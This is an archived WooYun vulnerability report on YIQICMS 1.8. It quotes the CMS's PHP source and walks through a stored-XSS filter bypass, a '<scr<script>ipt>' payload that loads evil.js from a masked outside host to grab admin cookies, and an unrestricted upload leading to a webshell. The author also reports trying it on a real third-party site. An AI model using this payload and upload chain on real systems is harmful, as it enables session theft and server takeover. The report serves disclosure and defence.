当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2014-77026

漏洞标题: 某开源CMS绕过过滤XSS盲打+getshell(伟哥,少林寺官网中枪)

相关厂商: 易企内容管理系统

漏洞作者: Haswell

提交时间: 2014-09-23 08:42

公开时间: 2014-12-22 08:44

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 任意

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

好久没前台过了。。。。
Powered by YIQICMS
“百度为您找到相关结果约17200个”
伟哥官网中枪

详细说明:

最新版1.8,首先关注/comment.php:

code 区域
if($action == "save")
{
$msgtitle = $_POST["msgtitle"];
$msgname = $_POST["msgname"];
$msgcontact = $_POST["msgcontact"];
$msgcontent = $_POST["msgcontent"];

................................................

$msgcontent = safeCheck($msgcontent);

$userip = $_SERVER["REMOTE_ADDR"];;
$sql = "INSERT INTO yiqi_comments (cid ,title ,name,contact,content,ip,adddate)" .
"VALUES (NULL, '$msgtitle', '$msgname', '$msgcontact','$msgcontent', '$userip', null)";
$result = $yiqi_db->query(CheckSql($sql));
if($result == 1)
{
ShowMsg("留言添加成功");
}





我们看到了safecheck函数,但是明显只对content进行了调用,于是留言的标题变成了一处xss.

但是30个字符限制确是鸡肋,于是我们关注safecheck函数。

/include/common.func.php

code 区域
function safeCheck($str) 
{
$farr = array(
"/<(\/?)(script|i?frame|style|html|body|title|link|meta|\?|\%)([^>]*?)>/isU", //过滤 <script 等可能引入恶意内容或恶意改变显示布局的代码,如果不需要插入flash等,还可以加入<object的过滤
"/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/isU", //过滤javascript的on事件

);
$tarr = array(
"",
"",
);

$str = preg_replace($farr,$tarr,$str);
return $str;
}



看到这里想必大家都懂了

天啊噜这不是常出现的<scr<script>ipt>绕过吗

于是构造<scr<script>ipt src=http://**.**.**.**/evil.js></scr<script>ipt>

1.jpg



在数据被取出时并未进行转义操作

/admin/comments.php

code 区域
$cid = $_GET["cid"];
$cid = (isset($cid) && is_numeric($cid)) ? $cid : 0;

$commentdata = new Comments;
$commentinfo = $commentdata->GetComment($cid);

.......

<tr><td class="label">留言内容</td><td class="input"><?php echo $commentinfo->content;?></td></tr>



于是后台的景象

2.jpg



恶意js被加载

3.jpg



至此便是盲打后台,接下来是getshell

很幸运地找到了一处可以上传东西的地方

5.jpg



接下来看admin/product-add.php

code 区域
if(!empty($_FILES["productthumb"]["name"]))
{
require_once("../include/upload.class.php");
$filedirectory = YIQIROOT."/uploads/image";
$filename = date("ymdhis");
$filetype = $_FILES['productthumb']['type'];
$upload = new Upload;
$upload->set_max_size(1800000);
$upload->set_directory($filedirectory);
$upload->set_tmp_name($_FILES['productthumb']['tmp_name']);
$upload->set_file_size($_FILES['productthumb']['size']);
$upload->set_file_ext($_FILES['productthumb']['name']);
$upload->set_file_type($filetype);
$upload->set_file_name($filename);
$upload->start_copy();
if($upload->is_ok())
{
$productthumb = YIQIPATH."uploads/image/".$filename.'.'.$upload->user_file_ext;
}
else
{
exit($upload->error());
}
}



并没有进行类型限制,看到$filename = date("ymdhis");可以直接抓下包,文件名就是ymdhis。

如果嫌麻烦,还可以回到前台,直接得到shell地址

7.jpg



getshell

8.jpg



当然,因为此处未作CSRF限制,所以可以直接XSRF getshell.

漏洞证明:

2.jpg



8.jpg



拿来实验的少林寺官网

cookie

xss.jpg



shell

http://**.**.**.**/include/Smarty/libs/plugins/function.config.php

修复方案:

健全过滤机制

限制上传类型

版权声明:转载请注明来源 Haswell@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-24 00:36 | 小龙 ( 普通白帽子 | Rank:2136 漏洞数:470 | 我就问,还有谁!!!!!!!!!!!!!...)
    1

    杜蕾斯中枪了吗

  2. 2014-09-24 08:11 | 大漠長河 ( 实习白帽子 | Rank:66 漏洞数:10 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区枫叶正...)
    1

    如果以非通用漏洞提交 少林寺网站存在XSS+getshell 更吸引眼球 只是没奖金了

  3. 2014-12-22 09:22 | Ch丶0nly ( 普通白帽子 | Rank:205 漏洞数:50 | 专注网络30年。)
    1

    还是鸡肋了点

  4. 2014-12-22 10:39 | Observer ( 实习白帽子 | Rank:35 漏洞数:9 )
    1

    标题: 看我如何把伟哥和少林寺联系起来的

  5. 2014-12-22 10:58 | 卡卡更健康 ( 普通白帽子 | Rank:164 漏洞数:39 )
    1

    少林寺和尚吃了伟哥,一根少林火腿肠,两颗大力金刚丸,合体双修佛法扬。

  6. 2014-12-22 13:14 | Observer ( 实习白帽子 | Rank:35 漏洞数:9 )
    1

    标题: 看我如何把伟哥和少林寺联系起来的

  7. 2014-12-22 19:07 | 咖啡 ( 实习白帽子 | Rank:58 漏洞数:22 )
    1

    释永信:感谢施主提交,马上修复

登录后才能发表评论,请先 登录